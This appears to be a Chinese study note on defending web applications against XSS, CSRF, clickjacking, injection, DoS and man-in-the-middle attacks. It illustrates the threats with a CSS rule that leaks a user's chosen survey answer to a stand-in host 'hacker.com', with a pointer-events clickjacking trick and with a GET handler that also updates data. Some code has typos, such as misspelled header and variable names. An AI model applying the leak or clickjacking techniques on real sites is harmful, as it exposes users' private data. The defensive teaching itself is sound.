WEB开发的安全之旅 (防御篇) | 青训营笔记
🌵前言
这是我参与「第四届青训营」笔记创作活动的的第7天😺
这篇笔记作为WEB开发安全的防御篇,与上篇攻击篇相对应。我将在以下内容中记录各种攻击方式对应的防御手段,并会引用其他文章中的内容对知识点加以补充。
👩🏭XSS
对于XSS的防御,首先永远不要信任用户提交的任何内容,且不要将用户提交的内容直接转化成DOM。
使用工具
我们也可以通过使用一些现成的工具来防御XSS攻击,比如:
-
前端
- 主流框架(如React、Vue)默认防御XSS
- google-closure-library
-
服务端 (Node)
- DOMperify
防范细节
如果用户需求中要求必须动态生成DOM,我们又该如何防御XSS?主要可以通过以下几方面来考虑:
string -> DOM
需要对string进行转义
SVG
对SVG文件进行扫描,因为SVG文件中可以插入script标签:
自定义跳转行为
尽量不要让用户定义自定义跳转链接,否则有可能传递入JavaScript代码;如果需要,则应做好过滤。
自定义样式
在调查表中,用户选择自己的收入情况选项。当收入调查、选中某个指定选项时,就会发送get请求,用户的收入情况就被暴露给了恶意攻击者。
input[type=radio].income-gt10k:checked {
background: url("https://hacker.com/?income=gt10k");
}
Feature Policy / Permission Policy
针对某个源(或某个页面下),可以允许开发者使用哪些功能:
- camera
- microphone
- autoplay
- ……
The HTTP Feature-Policy header provides a mechanism to allow and deny the use of browser features in its own frame, and in content within any [ < iframe > ] elements in the document.
如果不小心被XSS攻击了,也可以限制一些敏感的功能被使用,比如摄像头、麦克风等。
👩🌾CSRF
防御CSRF,如果请求来源是异常来源,则可以限制请求的来源 。
Same-origin policy (同源策略)
在浏览器中存在着同源策略。只有在
- 协议 (protocol)
- 域名 (domain)
- 端口 (port)
都相同时,两个URL才属于same origin,即同源。而对于以下的三个URL,都是不同源的:
一般而言,对于http协议,同源请求都是没有问题的;如果是非同源请求(即跨域请求),往往不可行。或者说是要看请求类型和服务器的配置。
Content Security Policy (CSP,内容安全策略)
CSP允许开发者
- 定义哪些源(或哪些域名)是安全的
- 来自安全源的脚本才可执行,否则报错
- 对eval或内联script标签直接报错
比如,在服务器的响应头部定义安全源:
Content-Security-Policy: script-src 'self' //同源
Content-Security-Policy: script-src 'self' https://domain.com
对CSP的设置也可以在浏览器中完成:
<meta http-equiv="Cotent-Security-Policy" content="script-src self">
如何判断请求是否来自合法页面?
origin / referer
可以对origin或请求的referer进行校验,如果是从其他恶意页面发来的请求则统统拒绝。
但在同源请求中,GET和HEAD请求方式并不发送origin字段,所以有时referer会被更广泛地利用。
token
对于来自合法页面的请求,服务器肯定也会在之前接受过来自该页面的请求。利用这一点,服务器可以对该页面进行 标识 ( token ) 💡:
这里的token往往是和具体用户进行绑定的,因为攻击者也可能是注册用户,可以利用自己的token进行试探。
另外,token需要设置一个过期时间。如果token永久不过期,一旦被泄露和窃取,则有可能会被恶意利用。
如何防范iframe形式的攻击?
CSRF -- iframe攻击
攻击者会构造一个页面,页面上有一个button标签,button标签下有一个iframe:
对于这个button标签,设置其CSS样式:
button {
pointer-events:none;
}
对于属性pointer-events设置为none:目标元素永远不会成为鼠标事件的target。
当用户点击button标签时,点击事件会穿越到下方的iframe。iframe被点击可能伴随着发送一个http请求。而iframe中发生的请求属于同源请求,而非跨域请求,那么对应的攻击也就完成了。
防御方式
可以利用一个http的响应头部:
X-Frame-Options: DENY/SAMEORIGIN
如果可以在服务器进行编码,则可以对所有的页面设置这一X-Frame-Options头部。
-
DENY
当前页面不能被作为iframe加载 -
SAMEORIGIN
必须是同源的页面才能加载这一iframe
CSRF anti-pattern (CSRF反模式)
偷懒 => 把GET请求实现成既能GET又能POST(既能获取数据,又能修改数据):
public async getAndUpdate(ctx) {
const { update , id } = ctx.query;
if(update) {
await this.update(update);
}
ctx.body = await this.get(id);
}
这里把 更新 和 获取 两个逻辑都放在了同一个GET接口。如果被CSRF攻击到,用户的数据不仅可能被获取到,还有可能被篡改,非常危险。
GET !== GET + POST
所以对于GET请求和POST请求要区分开,不要混在一起。
SameSite Cookie (同站cookie)
在cookie拥有用户权限、且CSRF利用用户权限进行攻击时:
如果我们的请求不带上cookie,是否就能去除这种跨站伪造请求的方式呢?
即:我的页面的cookie只能为我所用,其他页面发出的请求都不能带上我的cookie
这样一来,就可以从根源上解决CSRF攻击的方式。
⚠️注意区分 same-site(同站) 和 same-origin(同源) :对于same-site,需要有效顶级域名及其前面的二级域名的组合相同,如http://example.com.cn和https://www.example.com.cn:80属于同站;但对于same-origin,需要协议、域名和端口都相同。
same-site cookie实际上限制的是
- Cookie Domain
- 页面域名是否能匹配
依赖cookie的第三方服务怎么办?
比如内嵌一个某站播放器,识别不了用户登录态,发不了弹幕。
在服务器端进行Set-Site操作时,我们可以把 SameSite 属性设置为 None,即不对same-site进行任何限制,但我们需要标明这个cookie为 secure 以确保安全。
Set-Site: SameSite:None;Secure;
关于SameSite的属性值:strict/lax/none
以下内容引用自阮一峰老师的日志:
Cookie 的 SameSite 属性 - 阮一峰的网络日志 (ruanyifeng.com)
Cookie 的SameSite属性用来限制第三方 Cookie,从而减少安全风险。它可以设置三个值:
- strict
- lax
- none
strict: 最为严格,完全禁止第三方Cookie,跨站点时,任何情况下都不会发送 Cookie。这个规则过于严格,可能造成非常不好的用户体验。比如,当前网页有一个 GitHub 链接,用户点击跳转就不会带有 GitHub 的 Cookie,跳转过去总是未登陆状态。
lax: 规则稍稍放宽,大多数情况也是不发送第三方 Cookie,但是导航到目标网址的 Get 请求除外。导航到目标网址的 GET 请求,只包括三种情况:链接,预加载请求,GET 表单。详见下表。
| 请求类型 | 示例 | 正常情况 | Lax |
|---|---|---|---|
| 链接 | <a href="..."></a> | 发送 Cookie | 发送 Cookie |
| 预加载 | <link rel="prerender" href="..."/> | 发送 Cookie | 发送 Cookie |
| GET 表单 | <form method="GET" action="..."> | 发送 Cookie | 发送 Cookie |
| POST 表单 | <form method="POST" action="..."> | 发送 Cookie | 不发送 |
| iframe | <iframe src="..."></iframe> | 发送 Cookie | 不发送 |
| AJAX | $.get("...") | 发送 Cookie | 不发送 |
| Image | <img src="..."> | 发送 Cookie | 不发送 |
设置了
Strict或Lax以后,基本就杜绝了 CSRF 攻击。当然,前提是用户浏览器支持 SameSite 属性。none: Chrome 计划将
Lax变为默认设置。这时,网站可以选择显式关闭SameSite属性,将其设为None。不过,前提是必须同时设置Secure属性(Cookie 只能通过 HTTPS 协议发送),否则无效。
⚠️补充:对于strict,首次导航(点击链接进入当前站点)是无法带上cookie的,但后续的same-site请求则可以带上cookie。这个限制是为了避免敏感操作跳过二次确认,比如一个重置密码的链接。但对于lax来说,首次导航则可以带上cookie。
same-site VS CORS
CORS (Cross-Origin Resource Sharing,跨域资源共享)
CORS 是一种允许当前域(domain)的资源(比如html/js/web service)被其他域(domain)的脚本请求访问的机制,通常由于同域安全策略(the same-origin security policy)浏览器会禁止这种跨域请求。
防御CSRF的正确姿势
我们应该设置一个中间件,使这一中间件专门生成各种防御CSRF的策略,而非case by case去解决问题。
👩🚀Injection
SQL Injection
- 找到项目中查询SQL的地方
- 使用prepared statement(将SQL语句进行提前编译,使注入攻击不能完成)
PREPARE q FROM 'SELECT user FROM users WHERE gender = ?';
SET @gender = 'female';
EXECUTE q USING @gender;
DEALLOCATE PREPARE q;
Injection beyond SQL
-
最小权限原则
-
⚠️避免使用sudo和root权限进行操作
-
-
建立允许名单 + 过滤
- ⚠️坚决拒绝高危操作rm
-
对URL类型参数进行协议、域名、IP等限制
- ⚠️避免攻击者访问内网
👩🎨DoS
ReDoS
- 完善code review工作,⚠️避免写出正则表达式贪婪匹配模式,特别是接口处理特别工作时
- 代码扫描 + 正则性能测试
- ⚠️不要使用用户提供的正则表达式
logical DoS
-
不是非黑即白
-
有些case,只有在请求量大到一定之后,才会体现
-
-
分析代码中的性能瓶颈
- 同步调用
- 串行逻辑
- CPU密集型操作
-
限流
DDoS
-
流量治理
- 负载均衡 (过滤)
- API网关 (过滤)
- CDN (Content Delivery Network,即内容分发网络) (抗量)
-
快速自动扩容 (抗量)
-
非核心服务降级 (抗量)
👩🚒传输层 -- 防御中间人
使用HTTPS协议,其具有以下三个特点:
- 可靠性:加密 (不可明文)
- 完整性:MAC验证 (不可篡改)
- 不可抵赖性:数字签名 (身份验证)
HTTP Strict-Transport-Security (HSTS)
如何将HTTP请求升级到HTTPS?
- 浏览器先发送一次https请求;
- 服务器接收到后,会返回一个
Strict-Transport-Security头部,并且传递一个值max-age=3600; 3600(秒)时间后,如果浏览器发出HTTP请求,则通通升级为HTTPS协议,避免中间人攻击。
🍊其中也存在一定的缺陷,即一定要先有一次HTTPS请求。
Subresource Integrity (SRI,子资源完整性)
想要知道静态资源是否被劫持篡改?可以通过对比哈希值(hash):
<script src="https://example/app.js"
integrity="sha384-{some-hash-value}"
crossorigin="anonymous"></script>
在script标签上增加一个integrity的属性,里面包含了当前摘要值的算法、以及具体的摘要值。
const remoteHsh = hash(content);
if(tagHsh !== remoteHash) {
throw new Errror("wrong hash");
进行一次哈希计算,并进行哈希值之间的对比。如果不相同,则说明内容被篡改。
🍎小结
- 安全无小事;
- 使用的依赖 (npm package,甚至是 node.js)也可能成为最薄弱的一环,比如left-pad事件。
- 保持不断学习的心态。
其实对于HTTPS协议介绍还有非常多的内容,但由于笔记篇幅原因,将放在另一篇文章中做详细的展开以及学习记录。💨
2022/7/31